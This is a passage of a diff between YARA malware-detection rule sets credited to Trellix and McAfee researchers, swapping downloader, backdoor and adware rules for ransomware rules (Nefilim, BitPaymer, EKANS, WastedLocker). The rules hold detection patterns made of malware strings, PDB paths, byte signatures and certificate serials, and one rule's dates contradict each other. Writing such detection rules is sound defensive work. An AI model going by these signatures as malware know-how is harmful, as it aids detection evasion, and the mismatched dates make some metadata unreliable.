{3C0D4A68792594D2F23F10A465B38B75D272318CA0E532A8A183F8CE5DEE6B45ECFDC96E4FF9158832472ED8CDFA69F92868A503F821D848CBB97B58332D8F84} condition: - ( uint16( 0 ) == 0x5025 and filesize < 1000KB and ( $jat or $jatboss ) ) or ( uint16( 0 ) == 0xcfd0 and $spam and any of ( $jat* ) ) + uint16( 0 ) == 0x5a4d and all of them } -rule TRELLIX_ARC_Downloader_Darkmegi_Pdb : DOWNLOADER FILE +rule TRELLIX_ARC_Nefilim_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect DarkMegi downloader based on PDB" + description = "Rule to detect Nefilim ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "3ccc3685-e05b-5620-9198-24733fb1e7eb" - date = "2013-03-06" - modified = "2020-08-14" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_downloader_darkmegi.yar#L1-L25" + id = "55d9cb20-5071-5dce-a46f-a20816ba379f" + date = "2020-03-17" + modified = "2020-04-03" + reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L3-L48" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "bf849b1e8f170142176d2a3b4f0f34b40c16d0870833569824809b5c65b99fc1" - logic_hash = "47faf8c5296e651f82726a6e8a7843dfa0f98e7be7257d2c03efcff550f52140" + hash = "5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6" + logic_hash = "d8cd5d2dd552d3e9f57f7bd244e941fe89a96ab16bbcc71911e8e2a519f53f03" score = 75 quality = 70 - tags = "DOWNLOADER, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "downloader" - malware_family = "Downloader:W32/DarkMegi" + malware_type = "ransomware" + malware_family = "Ransom:W32/Nefilim" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\RKTDOW~1\\RKTDRI~1\\RKTDRI~1\\objchk\\i386\\RktDriver.pdb" + $s1 = "C:\\Users\\Administrator\\Desktop\\New folder\\Release\\NEFILIM.pdb" fullword ascii + $s2 = "oh how i did it??? bypass sofos hah" fullword ascii + $s3 = " /c timeout /t 3 /nobreak && del \"" fullword wide + $s4 = "NEFILIM-DECRYPT.txt" fullword wide + $op0 = { db ff ff ff 55 8b ec 83 ec 24 53 56 57 89 55 f4 } + $op1 = { 60 be 00 d0 40 00 8d be 00 40 ff ff 57 eb 0b 90 } + $op2 = { 84 e0 40 00 90 d1 40 00 08 } + $bp = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????53568D??????????E8????????33??6A??5939????76??5783????75??8B????8D????A5A5A58D??????????A5508D????E8????????596A??588B????8D????80????75??48C6????79??EB??FE????33??8A??????8B????30????43413B????72??5F8B????8B????6A??2B??5E8A????88??404E75??5E5BC9C3558B??81??????????53FF????8D??????????50FF??????????68????????8D??????????50FF??????????33??53536A??535368????????8D??????????50FF??????????89????3B??0F84????????56578D????5053BE????????5689????FF??????????5056E8????????83????85??75??53FF??????????FF????8B??????????53FF??50FF??????????8D????51505689????FF??????????5056E8????????83????85??74??8B????89????8D????50FF????E8????????59595385??74??8D????50FF????FF????FF????FF??????????FF????53FF??50FF??????????5F5E5BC9C3558B??83????81??????????535657FF????8D????????????50FF??????????8B??????????68????????8D????????????50FF??8D??????508D????????????50FF??????????89??????83????0F84????????8B??????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????F6????????FF????8D????????????5074??FF??????????8D??????508D????????????50FF??68????????8D????????????50FF??8D????????????50E8????????E9????????FF??????????8D??????508D????????????50FF??8D??????50E8????????8B??C7????????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????8D??????50FF??85??74??8D????????????50E8????????598D??????50FF??????FF??????????85??0F85????????FF??????FF??????????5F5E5B8B??5DC3558B??81??????????53565768????????FF??????????8B??????????5033??57FF??8B??????????50FF??68????????89????FF??????????89????B8????????39????74??8B????2B??8A??FF????88????4039????75??57576A??575768????????FF????FF??????????89????3B??0F84????????8D????5150FF??????????6A??57FF??50FF??6A??5789????FF??50FF??FF????89????E8????????FF????E8????????595968????????57FF??50FF??68????????5789????FF??50FF??FF????8B????89????E8????????FF????8B????E8????????8B??????????59595757FF????FF????FF????FF??57FF??????????578D????5068????????FF????FF????FF??????????FF??????????83????0F84????????FF??????????83????0F84????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF????FF????FF??????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF??????????50FF????FF????FF??????????8B????8B????3B??0F8C????????7F??81??????????0F86????????89????89????3B??0F8C????????7F??3B??0F86????????EB??8B????2B????1B????89????0F88????????7F??81??????????0F82????????68????????57FF??50FF??????????5757FF????89????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????5757FF????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF??FF????5750FF??????????81????????????8B????11????39????0F8C????????0F8F????????8B????39????0F82????????E9????????3B??7C??7F??81??????????76??68????????57FF??50FF??????????575733??89????5133??50FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????575733??5050FF????FF??578D????5068????????EB??5157FF??50FF??????????575733??89????5133??50FF????FF??578D????50FF????FF????FF????FF??????????FF????8B????FF????FF????FF????E8????????83????575733??5050FF????FF??578D????50FF????FF????FF????FF??????????FF????57FF??50FF??????????FF????FF??????????FF????57FF??8B??????????50FF??FF???? } condition: - uint16( 0 ) == 0x5a4d and filesize > 20000KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 200KB and all of ( $s* ) or all of ( $op* ) or $bp } -rule TRELLIX_ARC_Malw_Browser_Fox_Adware : ADWARE FILE + +rule TRELLIX_ARC_Nefilim_Signed : RANSOMWARE FILE { meta: - description = "Rule to detect Browser Fox Adware based on the PDB reference" + description = "Rule to detect Nefilim samples digitally signed" author = "Marc Rivero | McAfee ATR Team" - id = "67d20c3a-4e9d-5fbf-b26a-d7b5fb270d12" - date = "2015-01-15" + id = "a9a5daf0-4cfb-556a-b20a-72283fb1a0f9" + date = "2020-04-02" modified = "2020-08-14" - reference = "https://www.sophos.com/en-us/threat-center/threat-analyses/adware-and-puas/Browse%20Fox.aspx" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_browser_fox_adware.yar#L1-L25" + reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L50-L72" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c6f3d6024339940896dd18f32064c0773d51f0261ecbee8b0534fdd9a149ac64" - logic_hash = "462a05de46ec0d710cac80a05d4935279a43f49cbd5ef49c072f277982a76fce" + hash = "353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5" + logic_hash = "7625eb7de1ebb2f5410552b8983379f213d639f5e146a5d951975b69eb8111d3" score = 75 quality = 70 - tags = "ADWARE, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "adware" - malware_family = "Adware:W32/BrowserFox" + malware_type = "ransomware" + malware_family = "Ransom:W32/Nefilim" actor_type = "Cybercrime" actor_group = "Unknown" - strings: - $pdb = "\\Utilities\\130ijkfv.o4g\\Desktop\\Desktop.OptChecker\\bin\\Release\\ BooZaka.Opt" - condition: - uint16( 0 ) == 0x5a4d and filesize < 800KB and any of them + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Red GmbH/CN=Red GmbH" and pe.signatures [ i ] . serial == "00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures [ i ] . thumbprint == "5b:19:58:8b:78:74:0a:4c:5d:08:41:99:dc:0f:52:a6:1f:38:00:99" ) } -rule TRELLIX_ARC_Redline_Payload : BACKDOOR FILE +rule TRELLIX_ARC_RANSOM_Nefilim_Go : RANSOMWARE FILE { meta: - description = "Rule to detect the RedLine payload" + description = "Rule to detect the new Nefilim written in GO" author = "Marc Rivero | McAfee ATR Team" - id = "61c2032f-1e6b-5123-8f99-ff83ae95e8a9" - date = "2020-04-16" + id = "a8809060-c646-5d54-88e7-c8054305ee6c" + date = "2020-07-13" modified = "2020-08-14" - reference = "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_redline.yar#L1-L38" + reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L74-L98" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5df956f08d6ad0559efcdb7b7a59b2f3b95dee9e2aa6b76602c46e2aba855eff" - logic_hash = "44df161b7434b9137ca5bb919eb314f8447b216b3f6e1214606a898fb36ee4f4" + hash = "a51fec27e478a1908fc58c96eb14f3719608ed925f1b44eb67bbcc67bd4c4099" + logic_hash = "f0b10286fb1623a32bcf1f30cadce2901f7711cb36db6bbe812f6c2e03862270" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/RedLine" + malware_type = "ransomware" + malware_family = "Ransom:W32/Nefilim" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "Cambrel.exe" fullword ascii - $s2 = { 22 00 54 00 65 00 78 00 74 00 49 00 6e 00 70 00 75 00 74 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 44 00 59 00 4e 00 4c 00 49 00 4e 00 4b 00 22 00 } - $op0 = { 06 7c 34 00 00 04 7b 17 00 00 04 7e 21 00 00 0a } - $op1 = { 96 00 92 0e 83 02 02 00 f4 20 } - $op2 = { 03 00 c6 01 d9 08 1b 03 44 } - $p0 = { 80 00 96 20 83 11 b7 02 10 } - $p1 = { 20 01 00 72 0f 00 20 02 00 8a 0f 00 20 03 00 61 } - $p2 = { 03 00 c6 01 cd 06 13 03 79 } + $pattern = { FF20476F206275696C642049443A20226A744368374D37436A4A5732634C5F636633374A2F49625946794336635A64735F4D796A56633461642F486B6D36694A4D39327847785F4F2D65746744692F664E37434C43622D59716E374D795947565A686F220A20FFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108766B83EC0CC744241400000000C7442418000000008B4424108400890424E88D0200008B44240485C0740789C183F8FF7514C744241400000000C74424180000000083C40CC3894C24088B44241083C004890424E8570200008B4424048B4C2408894C24148944241883C40CC3E8AE5A0400E979FFFFFFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EC00000083EC108B44241885C00F84C30000008B4424148400890424E8FD0100008B44240485C0742E89C183F8FF74E38B44241839C10F85800000008B44241C894424048B44241483C004890424E88B12000083C410C3E8620303008B442414890424C744240400000000C7442408FFFFFFFFE8A61200000FB644240C84C07507E868030300EB8B8B44241C894424048B4424148D4804890C24E83F1200008B442418894424048B442414890424E82B120000E83603030083C410C38D05408E4E008904248D05B8CC510089442404E8DA3F02000F0B8D05408E4E008904248D05B0CC510089442404E8C03F02000F0BE899590400E9F4FEFFFFCCCCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B4424088B4C240CF00FB14D000F94442410C3CCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B44240889C1F00FC1450001C1894C240CC3CCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B7424088B7C240C8B45008B550489C389D101F311F9F00FC74D0075F1895C2410894C2414C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B442404A90700000074068B05000000000F6F000F7F4424080F77C3CCCCCCCCE9CBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9BBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C24048B442408874500C3CCCCCCCCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B4424040FBCC074058944240CC38B4424080FBCC0740883C0208944240CC3C744240C40000000C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC83EC208B4424248B088B54242889CB01D1894C241C8B6804890424895C2404896C2408894C240C8B5C242C11DD896C2418896C2410E8160100000FB644241484C074C08B44241C894424308B4424188944243483C420C3CCCCCCCCCCCCCCCCCC83EC208B4424248B08894C24188B50048954241C890424894C2404895424088B5C2428895C240C8B6C242C896C2410E8BC0000000FB644241484C074C68B442418894424308B44241C8944243483C420C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9EBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB000000CCCCCCCCCCCCCCCCCCCCCCE97B000000CCCCCCCCCCCCCCCCCCCCCCE9CB000000CCCCCCCCCCCCCCCCCCCCCCE9BBFEFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B2D000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCC8B5C24048B44240889C1F00FC10301C88944240CC3CCCCCCCCCCCCCCCCCCCCCC8B5C24048B44240887038944240CC3CCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B442404A90700000074068B05000000008D5C24080F6F000F7F030F77C3CCCC8B442404A90700000074068B05000000000F6F4424080F7F000F77B800000000F00FC10424C3CCCCCCCCCCCCCCCCCCCC8B4424048A5C2408F00818C3CCCCCCCC8B4424048A5C2408F02018C3CCCCCCCC648B0D140000008B89000000003B610876098B4424088944240CC3E860550400EBDECCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240801000000E8AF4400008B44240C8944241C83C410C3E80E550400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240802000000E85F4400008B44240C8944241C83C410C3E8BE540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240810000000E80F4400008B44240C8944241C83C410C3E86E540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC83EC108D42048B008B4C2414890C248B4C2418894C240489442408E8D04300008B44240C8944241C83C410C3CCCCCCCC648B0D140000008B89000000003B6108762C83EC108B4424148B088B400489442408890C248B44241889442404E88E4300008B44240C8944241C83C410C3E8ED530400EBBBCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B600000083EC108B442414F30F10000F57C90F2EC175060F8B860000000F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240804000000E8C74200008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E80F530400E92AFFFFFFCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B800000083EC108B442414F20F10000F57C9660F2EC175060F8B87000000660F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240808000000E8E54100008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E82D520400E928FFFFFFCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E815FEFFFF8B44241083C0048B4C2408890424894C2404E8FEFDFFFF8B4424088944241883C40CC3E8CD510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E895FEFFFF8B44241083C0088B4C2408890424894C2404E87EFEFFFF8B4424088944241883C40CC3E86D510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86F200000083EC248B4424288B0885C974678B49048B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E8B2FA03008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8F46603008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E81E8E00008B44240C8B4C2408890C2489442404E87A3602000F0BE853500400E9EEFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EF00000083EC248B4424288B0885C974648B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E895F903008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8D76503008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E8018D00008B44240C8B4C2408890C2489442404E85D3502000F0BE8364F0400E9F1FEFFFFCC648B0D140000008B89000000003B61087606C644240C01C3 } condition: - uint16( 0 ) == 0x5a4d and filesize < 60KB and all of ( $s* ) and all of ( $op* ) or all of ( $p* ) + uint16( 0 ) == 0x5a4d and filesize < 8000KB and all of them } -rule TRELLIX_ARC_Chikdos_Malware_Pdb : DOS FILE +rule TRELLIX_ARC_Bitpaymer_Ransomware : RANSOMWARE FILE { meta: - description = "Chikdos PDB" + description = "Rule to detect BitPaymer Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "0174ff2b-57fc-5578-b45e-c08bf8528ee8" - date = "2013-12-02" + id = "20b91cf2-2a84-55d9-8230-90d7b20a461f" + date = "2019-11-08" modified = "2020-08-14" - reference = "http://hackermedicine.com/tag/trojan-chickdos/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_chickdos_pdb.yar#L1-L25" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/spanish-mssp-targeted-by-bitpaymer-ransomware/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Bitpaymer.yar#L1-L72" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c2a0e9f8e880ac22098d550a74940b1d81bc9fda06cebcf67f74782e55e9d9cc" - logic_hash = "150bf809a61aad00df0c49fb6a609b909c84ffb9ca442e143a6c5bf3dfc39314" + logic_hash = "527cdbdf51e6f3f5d58e805cf4a1bc09c9d24880c2323046acef6ee03c92d62f" score = 75 - quality = 70 - tags = "DOS, FILE" + quality = 66 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "dos" - malware_family = "Dos:W32/ChickDos" + malware_type = "ransomware" + malware_family = "Ransom:W32/BitPaymer" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\IntergrateCHK\\Release\\IntergrateCHK.pdb" + $s1 = "IEncrypt.dll" fullword wide + $op0 = { e8 5f f3 ff ff ff b6 e0 } + $op1 = { e8 ad e3 ff ff 59 59 8b 75 08 8d 34 f5 38 eb 42 } + $op2 = { e9 45 ff ff ff 33 ff 8b 75 0c 6a 04 e8 c1 d1 ff } + $pdb = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword ascii + $oj0 = { 39 74 24 34 75 53 8d 4c 24 18 e8 b8 d1 ff ff ba } + $oj1 = { 5f 8b c6 5e c2 08 00 56 8b f1 8d 4e 34 e8 91 af } + $oj2 = { 8b cb 8d bd 50 ff ff ff 8b c1 89 5f 04 99 83 c1 } + $t1 = ".C:\\aaa_TouchMeNot_.txt" fullword wide + $ok0 = { e8 b5 34 00 00 ff 74 24 18 8d 4c 24 54 e8 80 39 } + $ok1 = { 8b 5d 04 33 ff 8b 44 24 34 89 44 24 5c 85 db 7e } + $ok2 = { 55 55 ff 74 24 20 8d 4c 24 34 e8 31 bf 00 00 55 } + $random = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+" fullword ascii + $oi0 = { a1 04 30 ac 00 8b ce 0f af c2 03 c0 99 8b e8 89 } + $oi1 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 64 } + $oi2 = { c7 03 d4 21 ac 00 e8 86 53 00 00 89 73 10 89 7b } + $ou0 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 60 } + $ou1 = { a1 04 30 04 00 8b ce 0f af c2 03 c0 99 8b e8 89 } + $ou2 = { 8d 4c 24 10 e8 a0 da ff ff 68 d0 21 04 00 8d 4c } + $oa1 = { 56 52 ba 00 10 0c 00 8b f1 e8 28 63 00 00 8b c6 } + $oa2 = { 81 3d 50 30 0c 00 53 c6 d2 43 56 8b f1 75 23 ba } + $oy0 = { c7 06 cc 21 a6 00 c7 46 08 } + $oy1 = { c7 06 cc 21 a6 00 c7 46 08 } + $oy2 = { c7 06 cc 21 a6 00 c7 46 08 } + $oh1 = { e8 74 37 00 00 a3 00 30 fe 00 8d 4c 24 1c 8d 84 } + $oh2 = { 56 52 ba 00 10 fe 00 8b f1 e8 28 63 00 00 8b c6 } condition: - uint16( 0 ) == 0x5a4d and filesize < 600KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 1000KB ) and ( $s1 and all of ( $op* ) ) or ( $pdb and all of ( $oj* ) ) or ( $t1 and all of ( $ok* ) ) or ( $random and all of ( $oi* ) ) or ( $random and all of ( $ou* ) ) or ( $random and all of ( $oa* ) and $ou0 ) or ( $random and all of ( $oy* ) ) or ( $random and all of ( $oh* ) ) or ( $random and $ou0 ) or ( $random and $oi1 ) } -rule TRELLIX_ARC_MALW_Cobaltrike : BACKDOOR FILE +rule TRELLIX_ARC_Snake_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect CobaltStrike beacon" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a7dae4c7-672e-58fb-8542-90fa90d991a4" - date = "2020-07-19" - modified = "2021-08-30" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_cobaltstrike.yar#L1-L38" + description = "Rule to detect Snake ransomware" + author = "McAfee ATR Team" + id = "b8f50af5-5568-5676-93a1-e818f08df0ce" + date = "2020-02-20" + modified = "2020-10-12" + reference = "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_snake_ransomware.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "fc91d40c6544c7ab7c60b3cb8fc542bd4a6fac79dbe00cad8f612854f2a6dcd1" + hash = "e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60" + logic_hash = "3ae64fbacbf886b8d09abc3f5f8eb9c8bff809909a251f2d055056e6d12217a2" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/CobaltStrike" + malware_type = "ransomware" + malware_family = "Ransom:W32/EKANS" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "f47a627880bfa4a117fec8be74ab206690e5eb0e9050331292e032cd22883f5b" strings: - $pattern_0 = { e9???????? eb0a b801000000 e9???????? } - $pattern_1 = { 3bc7 750d ff15???????? 3d33270000 } - $pattern_2 = { 8bd0 e8???????? 85c0 7e0e } - $pattern_3 = { 50 8d8d24efffff 51 e8???????? } - $pattern_4 = { 03b5d4eeffff 89b5c8eeffff 3bf7 72bd 3bf7 } - $pattern_5 = { 8b450c 8945f4 8d45f4 50 } - $pattern_6 = { 33c5 8945fc 8b4508 53 56 ff750c 33db } - $pattern_7 = { e8???????? e9???????? 833d????????01 7505 e8???????? } - $pattern_8 = { 53 53 8d85f4faffff 50 } - $pattern_9 = { 68???????? 53 50 e8???????? 83c424 } - $pattern_10 = { 488b4c2420 8b0401 8b4c2408 33c8 8bc1 89442408 } - $pattern_11 = { 488d4d97 e8???????? 4c8d9c24d0000000 418bc7 498b5b20 498b7328 498b7b30 } - $pattern_12 = { bd08000000 85d2 7459 ffcf 4d85ed } - $pattern_13 = { 4183c9ff 33d2 ff15???????? 4c63c0 4983f8ff } - $pattern_14 = { 49c1e002 e8???????? 03f3 4d8d349e 3bf5 7d13 } - $pattern_15 = { 752c 4c8d45af 488d55af 488d4d27 } + $snake = { 43 3A 2F 55 73 ?? 72 ?? 2F 57 49 4E 31 2F 67 6F 2F 73 ?? 63 2F 6A 6F 62 6E 68 62 67 6E 6E 69 66 70 6F 64 68 68 70 ?? 6D 66 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 76 74 5F 73 74 ?? 69 6E 67 2E 67 6F 00 } condition: - 7 of them and filesize < 696320 + ( uint16( 0 ) == 0x5a4d and filesize < 11000KB ) and all of them } -rule TRELLIX_ARC_Rietspoof_Loader : RANSOMWARE FILE +rule TRELLIX_ARC_RANSOM_Wastedlocker : RANSOMWARE FILE { meta: - description = "Rule to detect the Rietspoof loader" - author = "Marc Rivero | McAfee ATR Team" - id = "f306e381-e2ae-528e-937b-aced72356d77" - date = "2026-02-01" - modified = "2020-08-14" - reference = "https://blog.avast.com/rietspoof-malware-increases-activity" - source_url = 